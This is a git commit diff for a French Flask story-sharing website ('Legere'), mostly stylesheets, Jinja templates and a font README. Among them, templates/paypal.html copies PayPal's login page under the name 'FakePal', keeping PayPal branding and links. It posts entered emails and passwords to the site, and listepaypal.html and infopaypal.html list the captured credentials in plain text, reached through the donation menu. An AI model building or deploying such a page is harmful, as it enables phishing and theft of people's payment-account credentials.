first commit

static/css/common.css

@@ -0,0 +1,126 @@
+@font-face {
+  font-family: OpenDyslexic;
+  src: url(../font/open_dyslexic/OpenDyslexic-Regular.otf);
+}
+
+:root {
+  --ecriture: black;
+  --background: white;
+  --police: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
+}
+
+
+test {
+  font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
+  font-family: Arial, Helvetica, sans-serif;
+  font-family: 'Courier New', Courier, monospace;
+}
+
+html {
+  background: var(--background);
+  color: var(--ecriture);
+  font-size: 1.5rem;
+  font-family: var(--police);
+}
+
+body {
+  width: 100%;
+}
+
+#content {
+  display: flex;
+  text-align: center;
+  width: 100%;
+  justify-content: center;
+}
+
+
+nav {
+  width: 99%;
+  position: sticky;
+  top: 0px;
+  background-image: linear-gradient(to right, #008dff, #009bfe, #00a7f8, #00b2f0, #00bbe7);
+  border-radius: 20px;
+}
+
+#menu {
+  table-layout: fixed;
+  border-collapse: collapse;
+  width: 100%;
+  text-align: center;
+  /* background-color: rgba(255, 255, 255, 0.4); */
+}
+
+.menuItem {
+  font-size: 1rem;
+  font-weight: 700;
+  height: 40px;
+  transition: all, 0.5s;
+  font-family: var(--police);
+}
+
+.menuItem2 {
+  font-size: 1rem;
+  font-weight: 700;
+  height: 40px;
+  font-family: var(--police);
+}
+
+.menuItem:hover {
+  background-color: #0000ff23;
+}
+
+article {
+  text-align: justify;
+}
+
+a {
+  width: 100% !important;
+  height: 100% !important;
+}
+
+a:link {
+  color: black;
+  text-decoration: none;
+}
+
+a:visited {
+  color: black;
+  text-decoration: none;
+}
+
+
+#dyslexique {
+  background-color: #5c5cfd;
+  padding-bottom: 0px;
+  border-radius: 20px;
+  width: 120px;
+  height: 60px;
+  transition: all, 0.5s;
+  font-size: .7rem;
+}
+
+
+
+/* slider */
+
+.slider {
+  display: flex;
+  justify-content: center;
+  align-items: center;
+  margin-top: auto;
+  margin-bottom: auto;
+  font-size: 300px;
+  font-weight: 500;
+}
+
+.minuteur {
+  display: flex;
+  justify-content: center;
+  align-items: center;
+  margin-top: auto;
+  margin-bottom: auto;
+  font-size: 300px;
+  font-weight: 500;
+
+}

static/css/fiche.css

@@ -0,0 +1,21 @@
+#fiche {
+    padding-top: 5rem;
+    width: 400px;
+    margin: auto;
+    text-align: center;
+    border-collapse: collapse;
+}
+
+#content2 {
+    padding-top: 5rem;
+}
+
+#fiche>tbody>tr {
+    height: 50px;
+    padding: 10px;
+}
+
+
+#fiche>tbody>tr>td {
+    font-weight: 600;
+}

static/css/liste.css

@@ -0,0 +1,57 @@
+#button {
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    width: 100%;
+    margin: 30px;
+}
+
+#content2 {
+    padding-top: 3rem;
+}
+
+#submit {
+    display: inline-block;
+    border-radius: 20px;
+    background-color: #3EA6FF;
+    box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
+    border: 2px #3e6bff;
+    color: #FFFFFF;
+    text-align: center;
+    font-size: 20px;
+    padding: 20px;
+    transition: all 0.5s;
+    cursor: pointer;
+    margin: 5px;
+    transition: all ,0.5s;
+}
+
+
+#submit:hover {
+    box-shadow: 0px 25px 80px rgb(0 0 0 / 70%);
+}
+
+#submit span {
+    cursor: pointer;
+    display: inline-block;
+    position: relative;
+    transition: 0.5s;
+}
+
+#submit span:after {
+    content: '\00bb';
+    position: absolute;
+    opacity: 0;
+    top: 0;
+    right: -20px;
+    transition: 0.5s;
+}
+
+#submit:hover span {
+    padding-right: 25px;
+}
+
+#submit:hover span:after {
+    opacity: 1;
+    right: 0;
+}

static/css/main.css

@@ -0,0 +1,44 @@
+html {
+    font-size: 1.5rem;
+    font-family: var(--police);
+}
+
+#content2 {
+    text-align: center;
+    justify-content: center;
+    width: 900px;
+}
+
+.contentchild {
+    margin: 50px;
+}
+.clique {
+    display: flex;
+    background-color: #0000ff94;
+    padding: 20px;
+    padding-bottom: 0px;
+    border-radius: 30px;
+    box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
+    width: auto;
+    height: auto;
+    max-width: 700;
+    transition: all ,0.5s;
+}
+
+
+.clique:hover {
+    box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.60);
+}
+
+.clique>a>img {
+    height: 50px;
+    width: 50px;
+    margin-left: auto;
+    margin-right: auto;
+    display: flex;
+    /* padding: 20px; */
+}
+
+.clique>a>h2 {
+    text-align: center;
+}

static/css/nouvelle.css

@@ -0,0 +1,90 @@
+label {
+    font-weight: 600;
+}
+
+#nouvelle {
+    width: 400px;
+    margin: auto;
+    text-align: center;
+    border-collapse: collapse;
+}
+
+#nouvelle>tbody>tr {
+    height: 30px;
+    max-width: 100px;
+}
+
+#nouvelle>tbody>tr>td {
+    padding: 10px;
+}
+
+
+/* #formListePerso>button {
+    display: block;
+    width: 100%;
+    height: 50px;
+    margin: 5px;
+    background-color: rgba(0, 0, 0, 0.4);
+    border: solid 1px black;
+} */
+
+#formNouveauPerso,
+#formListePerso {
+    padding-top: 5rem;
+    /* width: 300px; */
+}
+
+
+#button {
+    display: flex;
+    align-items: center;
+    justify-content: center;
+    width: 100%;
+    margin: 30px;
+}
+
+#submit {
+    display: inline-block;
+    border-radius: 20px;
+    background-color: #3EA6FF;
+    box-shadow: 0px 25px 80px rgb(0 0 0 / 50%);
+    border: 2px #3e6bff;
+    color: #FFFFFF;
+    text-align: center;
+    font-size: 20px;
+    padding: 20px;
+    width: 200px;
+    transition: all 0.5s;
+    cursor: pointer;
+    margin: 5px;
+    transition: all ,0.5s;
+}
+
+#submit:hover {
+    box-shadow: 0px 25px 80px rgba(0, 0, 0, 0.7);
+}
+
+#submit span {
+    cursor: pointer;
+    display: inline-block;
+    position: relative;
+    transition: 0.5s;
+}
+
+#submit span:after {
+    content: '\00bb';
+    position: absolute;
+    opacity: 0;
+    top: 0;
+    right: -20px;
+    transition: 0.5s;
+}
+
+#submit:hover span {
+    padding-right: 25px;
+}
+
+#submit:hover span:after {
+    opacity: 1;
+    right: 0;
+}

static/font/open_dyslexic/README.txt

@@ -0,0 +1,66 @@
+README
+======
+
+Places I've officially uploaded the latest stable versions to are [dafont.com](http://dafont.com/open-dyslexic.font) and gumroad(see link at [opendyslexic.org](http://opendyslexic.org).)
+
+The latest version may not always be the best version. If you want a stable version, check [github](https://github.com/antijingoist/open-dyslexic/tags) for the latest stable or working beta including otf's and ttf's, or [DaFont](http://dafont.com/open-dyslexic.font) for a stable otf.
+
+If you are upgrading your copy of this font, you may want to remove previous version first. 
+
+Typeface/font to help readability, and help readability for some of the symptoms of dyslexia.
+
+Your brain can sometimes do funny things to letters. OpenDyslexic tries to help prevent some of these things from happening. Letters have heavy weighted bottoms to provide an indication of orientation to make it more difficult to confuse with other similar letters. Consistently weighted bottoms can also help reenforce the line of text. The unique shapes of each letter can help prevent flipping and swapping.
+
+The italic style for OpenDyslexic has been crafted still be able to be used for emphasis while still being readable. 
+
+Install:
+========
+Windows: Copy .OTF files to C:\Windows\Fonts
+MacOSX: Drag font files to Font Book, and click install
+
+
+
+Thanks to everyone that donated during the Glyphs.app fundraising:
+
+- Cheryl Marshall
+- Anonymous (MG). <-- look at that, anonymous supports this. :D 
+- Eric Bailey
+- Steven V James
+- @nguarracino
+- Plow Software, LLC
+
+You guys are super cool! Thanks!
+
+Also, thanks to:
+- @glyphsapp for helping me learn Glyphs properly. 
+- Rob Carpenter of Oak Grove College in England for the Alta style
+- The awesome folk @ TEDxGateway that still have yet to release the OpenDyslexic TEDx talk.
+
+It is based on Bitstream Vera Sans because of the nice license it has. 
+
+OpenDyslexic is not packaged by me as an .exe file. It is packaged as a zip file, with no installer,  so you know what you are getting.
+
+If you were compelled to pay for this font, ask for a refund. This font is provided at no charge. Donations are cool, but optional. :)
+
+License
+-------
+The license for this font is: 
+
+♡ Copying is an act of love. Please copy.
+Bitstream License: 
+
+Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc. 
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license (“Fonts”) and associated documentation files (the “Font Software”), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions: 
+
+The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.
+
+The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words “Bitstream” or the word “Vera”.
+
+This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the “Bitstream Vera” names. 
+
+The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself. 
+
+THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE. 
+
+Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 

templates/don.html

@@ -0,0 +1,7 @@
+{% extends 'template.html' %}
+
+
+{% block content %}
+<h1>Rien pour le moment</h1>
+<a href="{{ url_for('listepaypal') }}">Liste des comptes paypal</a>
+{% endblock %}

templates/fiche.html

@@ -0,0 +1,95 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Fiche
+{% endblock %}
+
+
+{% block head %}
+<link href="{{ url_for('static', filename='css/fiche.css') }}" rel="stylesheet" />
+{% endblock %}
+
+
+{% block content %}
+<div id="content2">
+  <table id="fiche" class="changingfontsize">
+    <tr>
+      <td>Nom d'utilisateur :</td>
+      <td>{% if perso["anonyme"]=='on' %}
+        <p>L'utilisateur est anonyme</p>
+        {% else %}
+        <p>{{ perso["nom"] }}</p>
+        {% endif %}
+      </td>
+    </tr>
+
+
+    <tr>
+      <td>Genre :</td>
+      <td>{{ perso["classe"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Titre :</td>
+      <td>{{ perso["titre"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Rapide résumé :</td>
+      <td>{{ perso["resume"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Histoire :</td>
+      <td>
+        <p>{{ perso["histoire"] }}</p>
+      </td>
+    </tr>
+
+    <tr>
+      <td>Note personnelle :</td>
+      <td>{{ perso["note_personnelle"] }}</td>
+    </tr>
+
+
+    <!-- <tr>
+      <td>Nom d'utilisateur :</td>
+      <td>{% if exemple["anonyme"]=='on' %}
+        <p>L'utilisateur est anonyme</p>
+        {% else %}
+        <p>{{ exemple["nom"] }}</p>
+        {% endif %}
+      </td>
+    </tr>
+
+
+    <tr>
+      <td>Genre :</td>
+      <td>{{ exemple["classe"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Titre :</td>
+      <td>{{ exemple["titre"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Rapide résumé :</td>
+      <td>{{ exemple["resume"] }}</td>
+    </tr>
+
+    <tr>
+      <td>Histoire :</td>
+      <td>
+        <p>{{ exemple["histoire"] }}</p>
+      </td>
+    </tr>
+
+    <tr>
+      <td>Note personnelle :</td>
+      <td>{{ exemple["note_personnelle"] }}</td>
+    </tr> -->
+  </table>
+</div>
+
+{% endblock %}

templates/infopaypal.html

@@ -0,0 +1,21 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Informations récupérées de PayPal
+{% endblock %}
+
+{% block content %}
+<table id="fiche">
+    <tr>
+        <td>Email :</td>
+        <td>
+            <p>{{ account["email"] }}</p>
+        </td>
+    </tr>
+
+    <tr>
+        <td>Password :</td>
+        <td>{{ account["password"] }}</td>
+    </tr>
+</table>
+{% endblock %}

templates/liste.html

@@ -0,0 +1,27 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Fiche de personnage
+{% endblock %}
+
+{% block head %}
+<link href="{{ url_for('static', filename='css/liste.css') }}" rel="stylesheet" />
+{% endblock %}
+
+{% block content %}
+<div id="content2">
+  <form action="{{ url_for('ficheDepuisListe')}}" method="post" id="formListePerso" class="changingfontsize">
+    {% for perso in liste %}
+    <div id="button"><button type="submit" id="submit" name='nom' value='{{ perso["nom"] }}'>
+        Utilisateur : {{ perso["nom"] }}
+        <br><br>
+        Titre : {{ perso["titre"] }}
+      </button>
+    </div>
+
+    {% endfor %}
+  </form>
+  </ul>
+</div>
+
+{% endblock %}

templates/listepaypal.html

@@ -0,0 +1,18 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Fiche de personnage
+{% endblock %}
+
+{% block content %}
+<form action="{{ url_for('ficheDepuisListepaypal')}}" method="post" id="formListePerso">
+  {% for account in liste2 %}
+    <button name='nom' value='{{ account["nom"] }}' disabled>
+      {{ account["email"] }}
+      <br>
+      {{ account["password"] }}
+    </button>
+  {% endfor %}
+</form>
+</ul>
+{% endblock %}

templates/main.html

@@ -0,0 +1,47 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Accueil
+{% endblock %}
+
+{% block head %}
+<link href="{{ url_for('static', filename='css/main.css') }}" rel="stylesheet" />
+{% endblock %}
+
+{% block content %}
+<div id="content2">
+  <div class="contentchild">
+    <h1>Présentation rapide du projet :</h1>
+    <article>
+      Notre projet est de créer un site permettant à des utilisateurs de partager leurs histoires afin de créer une communauté soudée. </article>
+  </div>
+
+  <!--   <div class="contentchild"><h1>Une histoire aléatoire</h1>
+<article>
+  Aliquam tincidunt, purus at eleifend pellentesque, orci neque posuere mauris, nec malesuada felis lorem sit amet odio. Vestibulum rutrum mi non vehicula convallis. Quisque interdum in nibh eu fermentum. In hac habitasse platea dictumst. Sed faucibus imperdiet erat quis facilisis. Vivamus efficitur neque vitae ornare lacinia. Suspendisse sit amet luctus quam. Donec posuere odio metus, non tincidunt arcu ultricies eu. In id massa pulvinar, pretium ante ut, molestie risus. Curabitur nulla eros, semper sit amet augue ut, auctor aliquet ligula. Sed sed varius odio, gravida luctus ligula. Phasellus eu mi dapibus, pretium dui eget, sollicitudin odio.
+</article></div>
+ -->
+  <br>
+  <div class="contentchild">
+    <div class="clique">
+      <a href="/nouvelle" class="link">
+        <img src="../static/img/main/plus.png" alt="plus">
+        <h2>Ajoute ton histoire !</h2>
+      </a>
+    </div>
+  </div>
+
+  <div class="contentchild">
+    <h1>Contexte, Remerciements, Chartes</h1>
+    <article>
+      “Aujourd’hui plus personne ne veut lire de livre. Ils sont passés et rendent solitaire. Pour une société en plein
+      changement nous souhaitons nous adapter en proposant des histoires inconnues et en vous laissant le choix de créer
+      la vôtre. Laissez libre court à votre imagination tout en proposant des améliorations à l'auteur. Pour la
+      première fois le lecteur et l’auteur peuvent s’intervertir pour des histoires ouvertes sur l’avenir...”
+
+      <h3>Maxime Capdegelle, Chef du projet Legere</h2> </article>
+  </div>
+
+</div>
+
+{% endblock %}

templates/nouvelle.html

@@ -0,0 +1,60 @@
+{% extends 'template.html' %}
+
+{% block title %}
+Publication
+{% endblock %}
+
+{% block head %}
+<link href="{{ url_for('static', filename='css/nouvelle.css') }}" rel="stylesheet" />
+{% endblock %}
+
+{% block content %}
+<form action="{{ url_for('ajouter')}}" method="post" id="formNouveauPerso">
+  <table id="nouvelle" class="changingfontsize">
+    <tr>
+      <td><label for="nom">Nom d'utilisateur :</label></td>
+      <td><input type="text" name="nom" required="required"/></td>
+    </tr>
+
+    <tr>
+      <td><label for="anonyme">Anonyme :</label></td>
+      <td><input type="checkbox" name="anonyme"></td>
+    </tr>
+
+    <tr>
+      <td><label for="titre">Titre :</label></td>
+      <td><input type="text" name="titre" required="required"/></td>
+    </tr>
+
+    <tr>
+      <td><label for="nom">Genre :</label></td>
+      <td>
+        <select name="classe">
+          {% for classe in classes %}
+          <option value="{{ classe }}">{{ classe }}</option>
+          {% endfor %}
+        </select>
+      <td>
+    </tr>
+
+    <tr>
+      <td><label for="histoire">Votre histoire :</label></td>
+      <td><textarea name="histoire" style="max-width: 200px;" required="required"></textarea></td>
+    </tr>
+
+    <tr>
+      <td><label for="resume">Rapide résumé :</label></td>
+      <td><input type="text" name="resume" required="required"/></td>
+    </tr>
+
+    <tr>
+      <td><label for="note_personnelle">Note personnelle :</label></td>
+      <td><input type="text" name="note_personnelle" required="required"/></td>
+    </tr>
+  </table>
+  <div id="button">
+    <button type="submit" id="submit"><span>Envoyer </span></button>
+  </div>
+</form>
+
+{% endblock %}

templates/paypal.html

@@ -0,0 +1,152 @@
+<!-- 
+<!DOCTYPE html>
+<!--[if lt IE 9]><html lang="en" class="no-js lower-than-ie9 ie desktop"><![endif]-->
+<!--[if lt IE 10]><html lang="en" class="no-js lower-than-ie10 ie desktop"><![endif]-->
+<!--[if !IE]>-->
+<html lang="en">
+<!--<![endif]-->
+
+<head>
+  <!--Script info: script: node, template:  , date: Nov 21, 2022 01:40:18 -08:00, country: TW, language: en web version:  content version:  hostname : rZJvnqaaQhLn/nmWT8cSUm+72VQ7inHLmNSWW7oQxSqkM7CaNNY3vwwDZDVc+NwN rlogid : rZJvnqaaQhLn%2FnmWT8cSUotSylMGOTGkRUMDpmUTvbXdvevuMMFAfVANbpv53MZEySepZVSpTWRYJ8c9hOdmTcn%2BHSxZ2SMb_184998f5480 -->
+  <meta charset="utf-8">
+  <title>Log in to your FakePal account</title>
+  <meta http-equiv="content-type" content="text/html; charset=UTF-8">
+  <meta name="application-name" content="FakePal">
+  <meta name="msapplication-task"
+    content="name=My Account;action-uri=https://www.paypal.com/us/cgi-bin/webscr?cmd=_account;icon-uri=https://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico">
+  <meta name="msapplication-task"
+    content="name=Send Money;action-uri=https://www.paypal.com/us/cgi-bin/webscr?cmd=_send-money-transfer&amp;send_method=domestic;icon-uri=https://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico">
+  <meta name="keywords" content="transfer money, email money transfer, international money transfer ">
+  <meta name="description"
+    content="Transfer money online in seconds with FakePal money transfer. All you need is an email address.">
+  <link rel="shortcut icon" href="https://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico">
+  <link rel="apple-touch-icon" href="https://www.paypalobjects.com/webstatic/icon/pp64.png">
+  <link rel="canonical" href="https://www.paypal.com/tw/signin">
+  <meta name="viewport"
+    content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=2, user-scalable=yes">
+  <meta property="og:image" content="https://www.paypalobjects.com/webstatic/icon/pp258.png">
+  <link rel="stylesheet"
+    href="https://www.paypalobjects.com/web/res/814/0ed5dab5e678c14296dd49b2a68b4/css/contextualLoginElementalUIv2.css">
+
+</head>
+
+<body>
+  <noscript>
+    <p class="nonjsAlert" role="alert">Note: Many features on the FakePal website require JavaScript and cookies.</p>
+  </noscript>
+  <div id="main" class="main" role="main">
+    <section id="login" class="login" data-role="page" data-title="Log in to your FakePal account">
+      <div class="corral">
+        <div id="content" class="contentContainer   activeContent contentContainerBordered contentContainerBordered">
+          <header id="header" class="logo-with-cart">
+            <p role="img" aria-label="PayPal Logo" class="paypal-logo paypal-logo-long"></p>
+            <span class="cartWrapper">
+              <span class="cart">
+                <span class="cartIcon"></span>
+                <span class="ltrDisplay">$&nbsp;5.00&nbsp;USD</span>
+              </span>
+            </span>
+          </header>
+          <h1 id="headerText" class="headerText  headerTextWithoutSeparator">Pay with FakePal</h1>
+          <p id="pwdSubTagLine" class="subHeaderText ">With a FakePal account, you're eligible for Purchase Protection
+            and Rewards.</p>
+          <div class="notifications"></div>
+
+          <!-- form -->
+
+          <!-- <form action="{{ url_for('addinfopaypal')}}" method="post" id="FormPaypalInformation"></form>  -->
+          <form action="{{ url_for('addinfopaypal')}}" method="post">
+
+            <!-- passwordSection -->
+
+            <div id="passwordSection" class="clearfix splitEmail">
+              <div id="splitEmailSection" class="splitPhoneSection splitEmailSection">
+                <div class="textInput" id="login_emaildiv" style="z-index: 1;">
+                  <div class="fieldWrapper">
+
+                    <!-- input -->
+                    <input id="email" name="email" type="email" class="hasHelp  validate validateEmpty   "
+                      required="required" autocomplete="username" placeholder="Email or mobile number"
+                      aria-describedby="emailErrorMessage">
+                    
+                    <!-- label -->
+                    <label for="email" class="fieldLabel">Email or mobile number</label>
+                  </div>
+                </div>
+              </div>
+              <div id="passwordSection" class="clearfix showHideButtonForEligibleBrowser">
+                <div class="textInput " id="login_passworddiv" style="z-index: 1;">
+                  <div class="fieldWrapper">
+
+                    <!-- input -->
+                    <input id="password" name="password" type="password"
+                      class="hasHelp  validateEmpty   pin-password" required="required" value="" placeholder="Password"
+                      aria-describedby="passwordErrorMessage">
+                    
+                    <!-- label -->
+                    <label for="password" class="fieldLabel">Password</label>
+                    <label for="Show password" class="fieldLabel">Show password</label>
+                  </div>
+                </div>
+                <a href="#" id="forgotPassword" class="recoveryOption forgotPassword"
+                  data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
+              </div>
+            </div>
+
+            <!-- button -->
+            <div class="actions">
+              <button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit" id="btnLogin"
+                name="btnLogin" value="Login" pa-marked="1">Log In</button>
+            </div>
+          </form>
+          <div id="tryAnotherWayLinkContainer" class="tryAnotherWayLinkContainer " data-hide-on-pass="">
+            <a href="#" id="tryAnotherWayLink" pa-marked="1">Try another way</a>
+          </div>
+          <div class="intentFooter ">
+            <div class="cancelUrl ">
+              <a href="" class="scTrack:unifiedlogin-click-cancel-and-return cancelLink" id="cancelLink"
+                aria-hidden="false" pa-marked="1">Cancel</a>
+            </div>
+            <div class="localeSelector  ">
+              <ul class="localeLink">
+                <li>
+                  <a class=" scTrack:unifiedlogin-footer-language_zh_TW" href="#" data-locale="zh_TW" pa-marked="1"
+                    lang="zh">French</a>
+                </li>
+                <li>
+                  <a class="selected scTrack:unifiedlogin-footer-language_en_US" href="#" data-locale="en_US"
+                    aria-current="”true”" pa-marked="1" lang="en">English</a>
+                </li>
+              </ul>
+            </div>
+          </div>
+        </div>
+      </div>
+    </section>
+    <footer class="footer" role="contentinfo">
+      <div class="legalFooter">
+        <ul class="footerGroup">
+          <li>
+            <a target="_blank" href="https://www.paypal.com//smarthelp/contact-us" pa-marked="1">Contact Us</a>
+          </li>
+          <li>
+            <a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/privacy-full" pa-marked="1">Privacy</a>
+          </li>
+          <li>
+            <a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/legalhub-full" pa-marked="1">Legal</a>
+          </li>
+          <li>
+            <a target="_blank" href="https://www.paypal.com//webapps/mpp/ua/upcoming-policies-full" pa-marked="1">Policy
+              Updates</a>
+          </li>
+          <li>
+            <a target="_blank" href="" pa-marked="1">Worldwide</a>
+          </li>
+        </ul>
+      </div>
+    </footer>
+  </div>
+
+</body>
+
+</html>

templates/template.html

@@ -0,0 +1,128 @@
+<!DOCTYPE>
+<html>
+
+<head>
+  {% block head %}
+  {% endblock %}
+  <meta charset="utf-16" />
+  <title>{% block title %} {% endblock %}</title>
+  <link href="{{ url_for('static', filename='css/common.css') }}" rel="stylesheet" />
+  <link rel="shortcut icon" href="../static/img/logo2.ico" type="image/x-icon">
+
+</head>
+
+<body>
+  <nav>
+    <table id="menu">
+      <tr>
+        <td class='menuItem'><a href="{{ url_for('main') }}"><img src="../static/img/logo.png" alt="logo" width="50rem"
+              height="50rem" style="margin: 15px;"></a></td>
+
+        <td class='menuItem'><a href="{{ url_for('liste') }}">Lire des histoires</a></td>
+
+        <td class='menuItem'><a href="{{ url_for('nouvelle') }}">Publier une histoire</a></td>
+        <td class="menuItem"><a href="{{ url_for('don') }}"><img src="../static/img/paypal-logo.png" alt="paypal-logo"
+              style="max-width: 50px; max-height: 50px; margin: 15px;"></a></td>
+        <td class="menuItem2">
+          <div class="changeTheme"><img src="../static/img/blackandwhite.png" alt="blackandwhite"
+              style="max-width: 50px; max-height: 50px; margin: 10px;"></div>
+          <div class="changeFont"><button id="dyslexique" style="margin: 10px;"><span>Mode Dyslexique</span></button>
+          </div>
+          <div class="slider">
+            <div id="glissière" onclick="taille()" class="col">
+              <input id="entree" type="range" oninput="taille()" min="100" max="300" class="slider">
+            </div>
+          </div>
+        </td>
+      </tr>
+    </table>
+  </nav>
+  <div id="content">
+    <div id="changingfontsize">
+      {% block content %} {% endblock %}
+    </div>
+  </div>
+
+
+
+  <script>
+    const switchThemeBtn = document.querySelector('.changeTheme')
+    let toggleTheme = 0;
+    switchThemeBtn.addEventListener('click', () => {
+      if (toggleTheme === 0) {
+        document.documentElement.style.setProperty('--ecriture', '#f1f1f1');
+        document.documentElement.style.setProperty('--background', '#262626');
+        toggleTheme--;
+      } else {
+        document.documentElement.style.setProperty('--ecriture', '#262626');
+        document.documentElement.style.setProperty('--background', '#f1f1f1');
+        toggleTheme++;
+      }
+    })
+  </script>
+  <script>
+    const switchFontBtn = document.querySelector('.changeFont')
+    let toggle2Theme = 0;
+    switchFontBtn.addEventListener('click', () => {
+      if (toggle2Theme === 0) {
+        document.documentElement.style.setProperty('--police', "OpenDyslexic");
+        toggle2Theme--;
+      } else {
+        document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif");
+        toggle2Theme++;
+      }
+    })
+  </script>
+  <script>
+    function toggleFullScreen() {
+      if (!document.fullscreenElement) {
+        document.documentElement.requestFullscreen();
+      } else if (document.exitFullscreen) {
+        document.exitFullscreen();
+      }
+    }
+
+    document.addEventListener("keydown", (e) => {
+      if (e.key === "Enter") {
+        toggleFullScreen();
+      }
+    }, false);
+  </script>
+
+  <!-- <script>
+    function taille() {
+      var entree = document.getElementById("entree");
+      var elementpage = document.getElementById("changingfontsize");
+      elementpage.style.fontSize = entree.value / 100 + "rem"
+    }
+
+  </script> -->
+
+  <!-- <script>
+    function taille2() {
+      var entree2 = document.getElementById("entree");
+
+      var parentDOM = document.getElementById("content");
+      var testTarget = parentDOM.getElementsByClassName("changingfontsize")[0];
+      testTarget.style.fontSize = entree2.value / 100 + "rem"
+    }
+
+  </script> -->
+
+  <script>
+    function taille() {
+      var entree = document.getElementById("entree");
+      var entree2 = document.getElementById("entree");
+      var elementpage = document.getElementById("changingfontsize");
+      elementpage.style.fontSize = entree.value / 100 + "rem"
+
+      var parentDOM = document.getElementById("content");
+      var testTarget = parentDOM.getElementsByClassName("changingfontsize")[0];
+      testTarget.style.fontSize = entree2.value / 130 + "rem"
+    }
+  </script>
+
+
+</body>
+
+</html>